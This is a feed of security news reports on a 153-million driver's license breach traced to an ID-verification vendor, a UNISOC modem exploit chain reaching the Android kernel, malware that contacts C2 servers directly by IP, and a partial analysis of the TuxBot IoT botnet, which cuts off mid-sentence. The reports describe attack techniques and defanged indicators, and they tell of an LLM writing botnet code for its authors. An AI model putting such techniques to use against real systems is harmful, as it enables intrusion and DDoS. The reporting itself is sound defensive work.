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店で免許証スキャン→数時間で闇サイトへ 米国防長官含む1億5300万枚の流出、被害者たちが突き止めた意外な出所
この頃、セキュリティ界隈で 店で免許証スキャン→数時間で闇サイトへ 米国防長官含む1億5300万枚の流出、被害者たちが突き止めた意外な出所 米国とカナダの運転免許証1億5300万枚あまりをスキャンした画像が闇サイトで売りに出されているのが見つかった。セキュリティ専門ジャーナリストのブライアン・クレブス氏が出所をたどった結果、レンタカー大手などと取引のある本人確認サービス会社から流出したとみられることが判明。米連邦捜査局(FBI)ニューオーリンズ支部も捜査に乗り出しているという。 クレブス氏が運営する調査報道サイトの「Krebs on Security」によると、運転免許証情報を売り出す広告がロシア語のサイバー犯罪フォーラム「Exploit」に掲載され、闇サイトの「Nexus」で売りに出されていたことが分かった。犯人側はサンプルとして、クレブス氏の免許証を提示していたという。 売り出されていた情報には、米国とカナダの運転免許証約1億5300万枚に加え、各種身分証明書や渡航関連書類、診察券なども含まれ、総数は計1億7000万件以上に上った。ピート・ヘグセス米国防長官やFBI副長官など、米政府高官の免許証も含まれていたとされる。 Nexusはこうした運転免許証情報について、大企業と取引のある「大手本人確認会社」から「継続的に抜き取っている」と主張していた。実際、Nexusで売り出される運転免許証の数は、24時間で40万件近く増えていたという。 被害に遭った1人で、米メディアArs Technica記者のダン・グーディン氏は「大手レンタカー会社から車を借りた際、店員が私の運転免許証をスキャンした数時間後に、その免許証スキャンが闇サイトで売りに出された」と伝えている。 被害者の共通点 免許証が流出した被害者は、クレブス氏本人を含めて大半が、スキャン画像に記載されたタイムスタンプに近い日付や時刻にレンタカー大手の米Hertzで車を借りていたことが分かった。 一方、著名セキュリティ研究者のザック・エドワーズ氏は、Hertzは利用していなかったものの、ラスベガスで大手マリフアナ販売チェーン店「Planet13」を訪れた際に、店員が運転免許証をスキャンしていたという。「まさか闇サイトで自分の免許証情報が販売されているとは知らなかった」とエドワーズ氏は言う。 HertzとPlanet13に共通していたのは、本人確認のための身分証スキャンに「idscan.net」というニューオーリンズの企業が手掛けるサービスを利用していたことだった。idscan.netは「なりすまし防止、年齢確認、セキュリティとコンプライアンスのためのアクセス管理に照準を絞った最先端のAI本人確認プラットフォーム」提供をうたう企業。Hertzの他にもTargetやFedEx、Motorola Solutionsなど多数の米大手企業にサービスを提供しており、世界2万カ所あまりで月間21万回を超す身分証確認に利用されているという。 KrebsOnSecurityの取材に対し、idscan.netは今回の問題について調査していることを確認した上で、「現時点でそれ以上のことは言えない」とコメントしている。 なお、免許証情報を売り出していたNexusは、KrebsOnSecurityの記事が掲載された後間もなく、ダークウェブから姿を消したという。 Copyright © ITmedia, Inc. All Rights Reserved.
itmedia.co.jpSep 9, 2026extracted
FBI Probes Service Selling 153M+ Drivers Licenses
A new identity theft service launched on the dark web this week is selling digital scans of more than 153 million drivers licenses from people in the United States and Canada. Based on interviews with individuals whose licenses are available for purchase on this service, it appears to be siphoning images collected by a widely-used identity verification company based in Louisiana. KrebsOnSecurity also has learned that the New Orleans field office of the Federal Bureau of Investigation (FBI) today launched an official inquiry into the source of the images. A record available at this identity theft service that includes the drivers license for U.S. Defense Secretary Pete Hegseth, one of several high-ranking U.S. government officials whose drivers licenses can be found for sale. On Monday, Aug. 31, a source alerted KrebsOnSecurity to a service advertised by a new user on the Russian cybercrime forum Exploit , offering access to digital scans of identity documents on more than 170 million people in North America. The source brought it to my attention because the proprietor of this identity theft service offered my Virginia drivers license as a free sample in their initial sales thread on Exploit. The service, dubbed Nexus , claims to have more than 153 million drivers licenses for people in the United States and Canada, as well as more than 10 million identification cards; more than three million travel documents and/or international IDs; and at least 579,000 medical cards. A quick look around Nexus finds they are likely not exaggerating about that 153 million number: Running a blank search in Nexus (with no search parameters entered) returns approximately 11.5 million pages of results, with roughly 15 results displayed per page. It includes documents from people in both Canada and the United States, but the bulk of these records are on Americans: searching for just Canadian drivers licenses returns approximately 1.1 million results, with the largest concentration from Ontario (473,673 records). Curiously, the identity records include not only drivers licenses but also marijuana dispensary cards. Some of the records list their “source” as “CDL,” presumably short for “commercial drivers license.” Other records carry the source notation of “CAC,” which may refer to Common Access Cards, government issued identity cards that grant physical access to government buildings and secure rooms. The people behind Nexus claim the license images are coming from an active breach at “a major identity verification company” whose customers include multiple Fortune 500 companies. The record totals listed by the Nexus identity theft service. The number of drivers license records increased by nearly 400,000 in the span of just 24 hours. “We have been continuously exfiltrating new data for over a year into our private database,” the service enthused in its introductory post on Exploit. “Records are available to preview before purchase with pertinent information redacted. Customer photos are displayed if available.” Indeed, over the past 24 hours, the number of drivers license records listed as available in Nexus has increased by nearly 400,000, suggesting that freshly stolen license data is being harvested and uploaded to this service on a semi-regular basis. The record that features my drivers license includes six image files — three pairs of photos of the license’s front and back — a basic image scan — as well as infrared and ultraviolet versions of the same images. A date and timestamp is appended to each image file, and the timestamp on my license scan corresponds to a date in June 2025 when I took a flight to the midwest United States to attend a family funeral. Some of the 153 million+ license scans — including mine — feature six image files with date and timestamps appended to the filenames. Not all records include photos, and some that do feature photos do not display the associated filenames. Intent on discovering the source of this data, KrebsOnSecurity asked more than a dozen friends and family members for permission to search for their licenses in this service. Each person whose license could be found (nine of them) confirmed having traveled on or very close to the dates in the timestamps attached to their images. It is unclear what timezone these timestamps are in, but from reviewing car rental records shared by several people who helped with this research, it appears the timezone is set to Greenwich Mean Time (GMT). At first, I thought the source of the data might have something to do with airports. However, that theory went out the window when it became apparent there were no passports in this data set. Also, only some of those who helped with this research said they showed their drivers license at the airport on the day of their travel. One person whose license was in Nexus hadn’t flown at all recently, but was renting a car from Hertz for several months around the date of their timestamp. Two of those who agreed to help are federal employees who said they shared other forms of government identification when passing through airport security. However, those individuals each said they shared their state-issued drivers licenses later that day when renting vehicles at their respective destinations, and that both rented their cars from Hertz. After finding a note in my calendar for the day of my June 2025 flight reminding me to bring my passport, I remembered that I also never actually shared my drivers license when I went through security at Reagan National Airport on that day because I did not yet have a Real ID, a security-enhanced drivers license that is now required by the Transportation Security Administration (TSA) for all domestic travel. Instead, I showed the TSA agent my government-issued U.S. passport. Here’s where it gets interesting: I was able to find my mother’s drivers license in this service as well, and the timestamps for her images are just a few seconds apart from mine. That’s notable because we both handed our licenses to the Hertz rental car representative at the same time. According to my mom, the only place she gave her drivers license to that day was the rental car company, and if memory serves that is also true for me. I don’t recall if the rental car representative inserted our licenses into any kind of machine, but I remember they held onto them for several minutes behind the counter while we were signing various forms. KrebsOnSecurity sought comment from Hertz and will update this story in the event they reply. Zach Edwards is a well-known security and privacy researcher who recently launched a service called DecryptAds to help people better understand how online advertisers are tracking them. A scan of Edwards’s drivers license is available for purchase on this identity theft service, and Edwards said the timestamp on his record corresponds to the middle of a trip last month to Las Vegas for the annual DEFCON security conference. Edwards told KrebsOnSecurity that although he did not rent a car in Vegas, he did hand over his license at the TSA checkpoint, at a marijuana dispensary in Vegas, and at his hotel (the Aria). But he said the only one of those three that for sure scanned his ID in some kind of device was the dispensary. To enter Planet13’s weed dispensary in Las Vegas, one must pass through a red telephone booth. Image: Zach Edwards. Edwards said the dispensary he visited that day was Planet13 , a multi-state chain with stores in California, Florida, Illinois and Nevada. In 2022, the New Orleans-based identity provider idscan.net published a press release announcing an exclusive identity verification agreement with Planet13’s dispensaries nationally. IDScan says it processes ID verification for more than 1,000 marijuana dispensaries in 19 U.S. states. The “trust” page of idscan.net states that the company provides identity verification services for numerous big brands, including Hertz, Target , Fedex , Motorola Solutions , the financial services giant Jack Henry , and Caesars Entertainment . And as idscan.net’s own documentation states , the technology scans IDs with both infrared and ultraviolet light. Idscan.net says the company’s systems and technology perform more than 21 million verifications monthly, at more than 20,000 locations around the world. Image: idscan.net. Contacted by KrebsOnSecurity, idscan.net said it was investigating the matter, but the company has not yet shared an official statement or a substantive reply to specific questions sent via email. “At this point I’m not able to share any additional information, but the updates you have provided have been welcome, and helpful to our team’s investigation,” wrote Jillian Kossman , a marketing and operations leader at idscan.net. During the course of my research for this story, word got around to the FBI that I was poking at the apparent source of this new identity theft service’s data. Probably they were tipped off when I shared with a trusted source that Nexus also is selling the drivers license information for the assistant director of the FBI (I did not find FBI Director Kash Patel’s license in Nexus). Earlier this afternoon, I was added to a conference call with a half-dozen FBI agents, including senior leaders from the agency’s cyber division. During that call, the FBI shared that earlier today their New Orleans field office opened an official investigation into an apparent breach involving idscan.net. Edwards said that as more in-person and online experiences require sharing drivers licenses, vendors who collect this sensitive data need to be held to a higher standard. “This episode should further strengthen the resolve for people who are fighting back against online ID schemes which are requiring countless providers to ask for drivers licenses in order to access services under the guise of protecting kids,” Edwards told KrebsOnSecurity. “These systems are putting sensitive data into more and more 3rd party vendors, and we don’t have nearly the oversight to ensure they are safe.” Larry Baldwin is principal intelligence researcher at the cybersecurity firm Cybera . Baldwin said a front and back scan of his drivers license available at Nexus contains timestamps that correspond to the date of a car rental from Hertz on a recent vacation. Baldwin said the Nexus identity theft service presents multiple serious security and privacy threats, noting that state-issued drivers licenses are commonly used as proof of one’s identity when opening new lines of credit. Baldwin said the service could also dangerously expose many people who do not wish to be found but who cannot meaningfully change their appearance (or at least not enough to fool today’s AI-based image matching tools). This category of people, he said, includes those fleeing domestic violence, and even people who have been assigned a whole new life and identity as part of the federal government’s witness protection program, which is generally reserved for criminal defendants in racketeering and conspiracy investigations who agree to cooperate with federal authorities. “Just when it seems like we’re making some headway in improving authentication controls through drivers license verification systems, this happens and the very thing those improvements are dependent on are compromised,” Baldwin said. Update, 8:56 p.m. ET: Shortly after this story was published, the Nexus identity theft service website vanished from the darkweb, replacing its login page with a plain text message that reads, “This service is no longer available.” This is a potentially fast-moving story. Any changes or updates will be noted here along with a timestamp.
krebsonsecurity.comSep 1, 2026extracted
UNISOC Modem Flaw Enables Remote Code Execution via Video Calls
A vulnerability in UNISOC modem firmware can allow arbitrary code execution with kernel privileges from the modem context, potentially allowing an attacker to modify Android kernel code. The flaw stems from a lack of isolation between modem memory and kernel memory. This is according to new research by the SSD Secure Disclosure technical team, which was credited to independent security researcher 0x50594d. The firm demonstrated a full exploit chain in which modem-level code execution was extended into kernel-level execution. The issue has been identified in phones using UNISOC chipsets, with SSD listing the Xiaomi Redmi A5 with a January 1, 2026 security patch and the Motorola E13 with a February 1, 2025 security patch among affected devices. SSD classified the underlying flaw as Improper Isolation of Shared Resources on System-on-a-Chip (SoC), tracked as Common Weakness Enumeration (CWE) 1189. The researchers said the missing isolation allows code running in the modem context to access memory used by the Android kernel. Modem Isolation Failure Enables Kernel Access The vulnerability allows an attacker who has already gained code execution on the modem to disable protections on a Memory Protection Unit (MPU) region. This gives the modem context access to physical memory, including memory used by the Android kernel. SSD tested the full chain against a Realme C33 with an Android security update from July 2025. The disclosure links the test to a previously disclosed UNISOC T612 RCE and demonstrates the resulting execution of a payload in kernel space. The final stage was triggered by placing a video call to the target phone. The researchers used a Voice over Long-Term Evolution (VoLTE) connection in their test environment, demonstrating how modem-level execution could be extended to kernel-level code execution. No UNISOC Response Reported The disclosure does not identify a vendor firmware update addressing the flaw. SSD also does not present its listed devices as an exhaustive inventory of affected phones. For affected device owners, the disclosure leaves firmware updates from UNISOC and handset manufacturers as the key route to remediation. Similar risks have been demonstrated in other cellular modem components, including Cinterion modem vulnerabilities in 2024 that researchers said could allow remote attackers to execute arbitrary code and manipulate device memory. SSD said it attempted to contact UNISOC through email and LinkedIn. Infosecurity has also contacted UNISOC for comment but has not received a response at the time of writing. UNISOC (Shanghai) Technologies is a top-three global fabless semiconductor company headquartered in Shanghai, specializing in 2G/3G/4G/5G mobile communication, IoT and smart device chipsets.
infosecurity-magazine.comAug 17, 2026extracted
Unisoc VoLTE Video Call Exploit Chain Can Give Attackers Full Android Kernel Access
Security researchers at SSD Secure Disclosure have published a two-stage exploit chain that achieves full Android kernel access on devices running Unisoc modem firmware through a VoLTE video call, with no fix from the chipset maker. The advisory, published August 17, 2026, is the second stage of a chain that began in March 2026, when SSD disclosed remote code execution in the same firmware through a malformed SIP video call. Completing the full chain requires the attacker to control a private 4G cellular network and the victim to answer the incoming video call. "We have tried to reach out to the vendor through multiple channels (email and LinkedIn) but have not been able to receive any response," SSD Secure Disclosure said in its advisory. The March 2026 disclosure carried the same statement. The research was carried out by an independent security researcher using the handle 0x50594d. The privilege-escalation vulnerability is classified as CWE-1189, Improper Isolation of Shared Resources on System-on-a-Chip, and no CVE identifier has been assigned as of publication. The flaw resides in the modem firmware shared by at least three Unisoc chipsets, among them the T606 found in the Motorola E13, the T612 found in the Realme C33, and the T7250 found in the Xiaomi Redmi A5. Unisoc, a Shanghai-based chipmaker formerly known as Spreadtrum, supplies components to brands including Motorola, Realme, and Xiaomi for devices sold across more than 140 countries, according to the advisory. Researchers confirmed the privilege-escalation flaw on a Motorola E13 carrying a February 2025 security patch and on a Xiaomi Redmi A5 carrying a January 2026 patch. Running the complete chain requires a modem-level foothold from the March 2026 RCE vulnerability first, along with attacker-controlled VoLTE infrastructure and a victim who answers the incoming video call. The researchers built their proof-of-concept environment using an open-source 4G core network, a software-defined radio for the 4G radio interface, and specialized SIM cards. Once code is running on the modem, the privilege-escalation step works by writing a full-access configuration to the modem's ARM Memory Protection Unit through coprocessor registers, mapping the entire 32-bit physical address space as readable, writable, and executable from modem context, including the pages where the Android kernel resides. The condition making this possible is a shared physical memory space between the modem processor and the application processor within the Unisoc SoC, with no hardware-enforced boundary preventing modem-context code from modifying kernel memory. Researchers confirmed kernel-level code execution on a test device by observing kernel log output showing that the injected payload had run. The August 2026 Android Security Bulletin, published before this disclosure, does not address the privilege-escalation vulnerability, and no UNISOC security bulletin covers it. A separate UNISOC advisory from October 2025, CVE-2025-31718 (CVSS score: 7.5), describes a modem input-validation flaw on the same chipset family, though it's not clear whether it corresponds to the March 2026 SSD disclosure. Device owners currently have no available patch or mitigation and should watch for a firmware update from their device manufacturer. The disclosure follows independent research published in November 2025 by Kaspersky ICS CERT, which documented the same architectural condition on a different Unisoc chip, the UIS7862A, found in vehicle head units. After gaining modem code execution via a separate vulnerability, the Kaspersky team was also able to reach and modify the running Android kernel by exploiting the modem and application processor's shared physical address space. Kaspersky described one of its lateral movement paths, involving a hidden Direct Memory Access peripheral, as a hardware-level issue not fixable through a software update. The Memory Protection Unit route used in the SSD chain is in principle addressable through a firmware change, though no such update has been committed to by UNISOC. A coordinated Unisoc modem vulnerability uncovered by Check Point Research in 2022, CVE-2022-20210, was patched by UNISOC and distributed through the Android Security Bulletin. The two currently disclosed vulnerabilities carry no such assurance.
thehackernews.comAug 17, 2026extracted
Almost Half of Malware Samples Communicate Direct to IP
Malware samples often bypass DNS entirely, communicating directly to IP addresses instead. Our analysis of 4 million dynamic analysis reports indicates that almost half (45.32%) of malware samples with any command-and-control (C2) activity made at least one direct-to-IP (D2IP) address connection. Measured as a fraction of all C2 connection attempts, D2IP traffic accounts for 23.17% of the total. A wide variety of threats — including ransomware droppers, peer-to-peer (P2P) botnets and supply chain risks — communicate directly with hard-coded IP addresses, bypassing DNS entirely and evading DNS-based defenses altogether. This article introduces zero trust IP (ZT-IP), which is a network-level enforcement approach that applies zero trust principles to IP-based traffic. The enforcement approach verifies whether outbound connection destinations were ever sanctioned by a DNS response. We validate this approach against real-world network traffic and samples, demonstrating how ZT-IP successfully surfaces threats including: Phorpiex ransomware droppers connecting directly to C2 IP addresses A persistent data exfiltration campaign using a custom obfuscated HTTP GET request Mozi P2P botnet payloads delivered to internet-of-things (IoT) devices without DNS Palo Alto Networks customers are better protected from the threats discussed here through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. DNS security has become a cornerstone of enterprise threat defense. By monitoring and filtering DNS queries, security teams can block malware from reaching known-bad domains and use sinkholing to disrupt C2 communications before they establish a foothold. This approach is effective when malware plays by the rules of relying on DNS for domain resolution. However, many types of malware do not. For example, a backdoor malware sample made no DNS query at all before initiating a WebSocket connection directly to an IP address. Disassembly via Ghidra revealed why. The destination address wss://154.92.19[.]71:39989 was hard coded into the binary as a Unicode string. This is not an isolated edge case. Without the DNS resolution step in network communications, malware is invisible to DNS-based security controls, protective DNS sinkholing and DNS anomaly detection systems. The connection simply appears as raw IP traffic with no prior context. We analyzed over 4 million Advanced WildFire dynamic analysis reports for a 30-day period to quantify how prevalent this behavior truly is. We filtered out connections to common legitimate services, internal addresses and DNS resolvers. After doing that, we found that 20.11% of malware samples exhibited C2 activity. The contrast with benign samples is striking. Only 1% of benign samples establish connections to untrusted IP addresses after applying the same filtering criteria. Those that do average just 1.6 such connections per sample. This is a small fraction of the activity observed in malware. Among malware with C2 connections, TCP dominates (94.43% prevalence, averaging 4.17 unique C2 IP addresses per sample). UDP is present in 17.50% of cases but contacts far more IP addresses per sample (average 13.79%), consistent with scanning and P2P mesh behavior. Most critically for DNS-based defenses, 45.32% of malware samples with any C2 activity made at least one direct-to-IP (D2IP) address connection — a raw IP contact with no preceding DNS query. Even after excluding bulk port-scanning behavior, the figure remains 41.97%. Measured as a fraction of all C2 connection attempts, D2IP traffic accounts for 23.17% of the total. By searching for D2IP connections (ZT-IP analysis), we were able to uncover multiple threats. Among traffic flagged by ZT-IP, we observed the following suspicious HTTP GET request toward the destination IP address at 178.16.54[.]109 as shown below in Figure 1. The observed request exhibits multiple variations, including sequential numeric GET paths (e.g., /1 through /6) and specific file downloads (e.g., /sex/k/n.txt, /new.php). We found that these requests correlate with several malware samples (e.g., the binary retrieved from hxxp[:]//178.16.54[.]109/st.exe) associated with Phorpiex (aka Trik), a long-running malware family used primarily as a dropper and spam botnet. Figure 2 illustrates the many malicious samples hosted on 178.16.54[.]109 in a flow chart of this activity. This traffic aligns with Phorpiex's staged payload delivery mechanism. This mechanism is characterized by initially fetching configuration, and then retrieving additional malicious components such as a ransomware payload. A key indicator of malicious D2IP activity was the absence of DNS queries preceding the connections to 178.16.54[.]109. Since the request bodies appear benign, they often bypass standard heuristic detectors. One of the most distinctive findings was a persistent campaign using a non-standard HTTP request we call the \GET protocol. This is an obfuscated request format designed to evade security detection while exfiltrating data. Unlike standard HTTP requests, these requests begin with \GET (backslash-GET) rather than standard GET followed by a backslash. The \GET is followed by a long encoded string ranging from 250–666 characters, as shown in Figure 3. Statistical analysis of the encoded payloads reveals a structured encoding scheme: The first and last four characters: alphanumeric (0-9 and A-Z), evenly distributed Middle characters: hex-like (0-9 and A-F), evenly distributed The payload length ranges from 250–666 characters Disassembly of associated malware samples (e.g., cc43cdbe8eb9874f55fffbe23b560b673eb9f31fb9a953926bba29464fd2dd07) confirms there are no hex-format IP addresses hard coded in the binaries. Instead, multiple hard-coded strings follow the same encoding rule, consistent with the payload lengths observed. The C2 infrastructure is hosted on public cloud infrastructure in Brazil. Samples that point to it were found impacting high-value sectors including government, airlines and universities. Because the threat leverages shared cloud resources, simple IP-based blocking is ineffective. Furthermore, the malware employs a notable operational security measure. It rotates both its destination port and IP address on a regular schedule, which evades static IP-blocking defenses. We observed two separate attackers operating infrastructure at 87.120.107[.]33 and 194.76.227[.]94, respectively, deploying the same malware family of SectopRAT against educational institutions. Both actors leverage SectopRAT's in-browser proxy capability to silently mirror all victim browser traffic to attacker-controlled servers in real time. The proxy operates via two endpoints. The first, /churl (shown in Figure 4), relays every URL the victim visits, including: Authenticated session pages Single sign-on (SSO) redirects Learning management system content The second, /fsave (shown in Figure 5), exfiltrates form fields including usernames and plaintext passwords at the moment of submission. An identifier (pcid/clid) in every request allows each actor to track individual compromised devices across sessions. Both attackers’ campaigns communicate entirely over D2IP connections, bypassing DNS-based visibility layers entirely. IoT malware families often exploit network vulnerabilities to self-propagate, relying on D2IP communication that makes them invisible to DNS-based security layers. Mozi is a Mirai-derived P2P botnet known for targeting IoT devices with MIPS, ARM and x86 architectures. We observed its characteristic exploitation payload embedded directly in HTTP requests. Figure 6 shows an example of the exploitation payload for Mozi. In ASCII text, this translates to the three commands shown in Figure 7. The Mozi campaign showed highly distributed patterns with thousands of source and destination IP addresses, consistent with the Mozi botnet's P2P mesh structure. However, because this IoT malware propagates by making D2IP connections without DNS resolution, blocking this type of connection can effectively prevent it from spreading within sensitive environments. Similarly, we identified a Mirai variant that we named Boatnet, which was distributed from the IP address 2.26.98[.]67. Boatnet demonstrates thorough platform targeting, covering at least 14 different architectures. Beyond standard IoT architectures, Boatnet includes binaries for m68k (Motorola 68000). This processor family is common in legacy industrial control systems (ICS) and aging embedded hardware, which current malware typically overlooks. Unlike generic variants, Boatnet fragments its ARM coverage into three discrete sub-variants (ARM5, ARM6 and ARM7) to ensure optimal performance across different hardware generations. Binaries are hosted under a /hiddenbin/ directory, as noted in Figure 8, showing a deliberate attempt to mimic legitimate system paths and evade basic file-path detection. We observed infected devices fetching payloads with a User-Agent string of Wget/1.13.4 (released in 2012). This serves as a significant fingerprint, suggesting the botnet is specifically harvesting older, unpatched hardware. Boatnet also demonstrates more operational maturity than “vanilla” Mirai through its use of HTTP Range headers. D2IP communication from malware won’t be detected by approaches that focus specifically on securing requests at the time a hostname is resolved. This is illustrated by threats like the Phorpiex ransomware dropper, the obfuscated \GET exfiltration campaign and the P2P Mozi botnet. ZT-IP closes this critical gap by applying strict zero trust principles to outbound D2IP connections, ensuring only DNS-sanctioned traffic is permitted. It is a necessary network-level enforcement mechanism to block what DNS-based detection cannot see. Palo Alto Networks customers are better protected from the threats discussed here through the following products and services: Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the IoCs shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC: +65.6983.8730 Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Malicious destination IP addresses 2.26.98[.]67 62.60.179[.]230 87.120.107[.]33 91.92.243[.]29 103.245.236[.]146 178.16.54[.]31 178.16.54[.]109 194.76.227[.]94 206.189.229[.]43 Malware samples 01a96eeafb72042b3f69afd21b4c9155dbfe7f97ab3dca392972ad531a075ac2 9639f7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9bfd1d4 bf24277400cc453d530e4277d3bd24e96c5e409adef6970518bdc59205aa0241 e310476c41ae4f6e3c4ed9bb88303ee6e5e1455bd7afe51cf48965ea7599e6e5 e3513922666c202c1ae5c06eea277ba10477868d6d89ce2819f4f8ff9070bc85 e5715e6611ef6bcb233f5d2098510dab3db408abbb728b00e1821bb255829373 Phorpiex (Malware Family) – Malpedia Old Wine in the New Bottle: Mirai Variant Targets Multiple IoT Devices – Palo Alto Networks Unit 42 It Was Not Me! Malware-Initiated Vulnerability Scanning Is on the Rise – Palo Alto Networks Unit 42 ZT-IP, which we have also called No-DNS or D2IP detection, extends the zero trust security model to IP-based traffic. This ensures that network services only connect to IP addresses previously resolved and approved by a trusted DNS service. Outbound connections to an IP address without a prior, valid DNS query are flagged as suspicious and blocked. In Figure 9, ZT-IP secures the network and firewall level through a simple enforcement mechanism: The mechanism: Tracking legitimate IP addresses: The system monitors all valid DNS responses to learn which IP addresses are approved for outbound connections Building a trust list: These approved IP addresses are tracked in a secure list, along with a time limit for how long they remain valid Enforcement: Whenever a device attempts an outbound connection to an IP address, the firewall checks this list Blocking bypass attempts: The connection is only allowed if the destination IP address was recently approved by DNS. If an IP address is not on the list or its approved time limit has expired, the connection is immediately flagged as a potentialNo-DNS threat and blocked. Because some legitimate network protocols (such as DNS, Neighbor Discovery Protocol, VoIP, P2P and certain IoT services) connect directly to IP addresses by design, ZT-IP incorporates mechanisms to prevent false positives. It uses allowlists that exempt private intranet IP addresses, specific trusted network protocols and well-known benign public IP addresses from these strict DNS checks. ZT-IP delivers the following key advantages for network defense: Stops patient zero attacks: It proactively blocks unknown C2 callbacks and malware attempting to phone home using hard-coded IP addresses Secures shared infrastructure: It differentiates between legitimate traffic and malicious connections targeting the same shared cloud hosting environments, securely blocking the malicious traffic because it lacks the necessary DNS context Network-level protection: By operating at the firewall level, ZT-IP secures environments like IoT and operational technology (OT) without requiring endpoint agents to be installed on every single device
unit42.paloaltonetworks.comAug 4, 2026extracted
TuxBot v3: Inside an IoT Botnet Framework With LLM-Assisted Development
We identified a previously undocumented modular internet-of-things (IoT) botnet framework named TuxBot v3 Evolution. The malware authors leveraged an LLM to assist in their code development, yielding mixed results. While the AI complied with their request to generate botnet code, it included a safety disclaimer that the developer failed to remove before shipping. Although the LLM clearly aided in constructing the botnet, several functions in the analyzed samples failed to work correctly. While a manual code review could have easily resolved these errors, the authors neglected this step. However, it is highly likely that corrected, more polished iterations exist, which significantly elevates the potential threat posed by this malware. We initially reported this information through our Timely Threat Intelligence program, and this article provides further in-depth analysis of the TuxBot v3 Evolution botnet. We recovered detailed information on the framework from internal telemetry. The data includes the full source code, compiled binaries for 17 architectures and automated distributed denial of service (DDoS) performance testing reports. The bot programs infected devices to display the console banner “Infected By Akiru.” The TuxBot v3 Evolution framework consists of: A C-based bot agent that cross-compiles for architectures from ARM and MIPS to x86_64, PowerPC, RISC-V, etc. A Go-based command-and-control (C2) server with a DDoS-for-hire panel A custom exploit virtual machine Docker-based test infrastructure An automated build system The bot agent brute-forces Telnet access on targeted devices with 1,496 credential pairs, contains exploit code targeting more than 30 IoT device families and communicates with a C2 server over an encrypted TCP channel. Fall-back C2 mechanisms include: A SHA512 domain generation algorithm (DGA) Peer-to-peer (P2P) gossip with Ed25519-signed commands IRC DNS TXT queries HTTP polling Palo Alto Networks customers are better protected from the threats discussed above through the following products: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. TuxBot is a modular IoT botnet framework derived from various known IoT botnet codebases. Based on our analysis of the samples, TuxBot includes features borrowed from the known botnet AISURU and the publicly unknown Wuhan botnet lineages. (We infer the Wuhan botnet lineage based on references in the TuxBot samples.) It is also partially ported from the open-source MHDDoS Python DDoS toolkit. Figure 1 shows screenshots of the TuxBot v3 Evolution installer. According to the system configuration, the framework maintains dual versioning: 3.5.2 for the Installer version and 3.0.0-EVOLUTION-FINAL within the Docker configuration file. We discovered two important sources of TuxBot data from the wild. Our first discovery was an archive containing the complete source code of the framework. This archive consists of: 61 C++ source files 58 headers Its own compiler and virtual machine Docker Compose configurations for test environments Quick Emulator (QEMU) setups for multi-architecture testing 254 automated DDoS benchmark reports Our second discovery was a compiled bot binary that was also bundled in the source tree under the QEMU test directory and hidden with a dot-prefix to the filename. This sample was submitted to VirusTotal on Jan. 20, 2026. Comparing this binary with the source code reveals that it is a development build. This binary was compiled with its C2 IP address set to the loopback IP address 127.0.0.1 and the bot protocol port set to 31337. Because this information can be modified during the botnet setup process, the operator could have production builds with a real C2 IP address and with the bugs we document here already fixed. The TuxBot framework we recovered and analyzed is approximately 70% functional. The core infection flow (scanning, credential brute-forcing, persistence, primary C2 setup and DDoS execution) works. The Telnet, SSH, HTTP and Android Debug Bridge (ADB) scanners all operate correctly. Furthermore, with its 1,496 credential pairs, the Telnet scanner remains a viable infection vector. Exploitation beyond brute-forcing is limited. All three exploit systems are non-functional for different reasons that we detail later in this analysis. An additional scanner fires, but its hard-coded dropper IP address is no longer active. Several other features are broken due to a handful of bugs, most of which trace back to large language model (LLM)-assisted development. The developer relied on an LLM to generate C modules, port exploits and write C2 server code. Raw chain-of-thought reasoning from the LLM was left verbatim in source files, and the LLM hallucinated cryptographic implementations that the developer shipped without verifying. During our analysis, we could fix several of these broken features with a few targeted prompts to an LLM. This means an adversary with access to the same source code could produce a more complete version with minimal effort. The archive containing the source code also contains a Git log. This Git log allowed us to build a timeline that shows the development progress of this botnet, noted in Table 1. Table 1. TuxBot Framework development timeline. The source code and publicly available data provide a rough development chronology. The developer's hostname, captured in the included Git log, indicates an Iranian-hosted workstation. The developer domain newtuxdev.sevielw.digikalas[.]online was no longer live, but the parent domain digikalas[.]online has remained active and resolved to an IP address on Iran's Arvan Cloud content delivery network (CDN) during our research. The 254 benchmark reports from the archive from January 2026 reveal: Active testing of 12 attack methods across three Docker-based botnet hosts Measuring packet rates, throughput and error rates This testing occurred just weeks before the first sample appeared on VirusTotal, consistent with a late-stage development push before deployment. The source code contains an IP address of 185.10.68[.]127, which we pivoted on to link TuxBot to Keksec/Kaitori (a Tsunami/Mirai/Gafgyt variant) ecosystems to a shared infrastructure. According to the framework’s description, the TuxBot developer built what they called a professional-grade C2 framework platform with a multi-user admin panel, automated deployment and modular attack capabilities. Figure 2 shows the botnet panel reference. The C2 server is written in Go and uses three listeners that use different TCP ports for incoming connections. The first listener serves the bot protocol on TCP port 1999 (or 31337, depending on the build), handling encrypted command dispatch to connected bots. The same port is multiplexed with an admin binary protocol identified by a magic byte header. The second listener is an SSH server on TCP port 2222 that presents an interactive shell for operators. This is the DDoS-for-hire interface shown in Figure 3. Operators log in, see a count of connected bots and issue attack commands in the format !method target duration. As Figure 4 shows, the C2 server enforces per-user quotas on concurrent attacks, maximum duration and bot allocation. This is all backed by a MariaDB database that stores user accounts, attack logs and permissions. The third listener is a machine API on TCP port 9999 that uses a JSON interface intended for programmatic access. The integrated build system automates the entire deployment: Installing dependencies (Go, MariaDB, cross-compilation toolchains) Initializing the database schema Generating a configuration Compiling the C2 Cross-compiling the bot for 17 target architectures, as noted in Figure 5 These target architectures include: x86_64 ARM ARM64 MIPS MIPSEL MIPS64 PowerPC The compiled binaries are placed in a directory served over HTTP, so exploited devices can download the appropriate binary for their architecture. The framework includes Docker Compose configurations for several test scenarios. A “battle 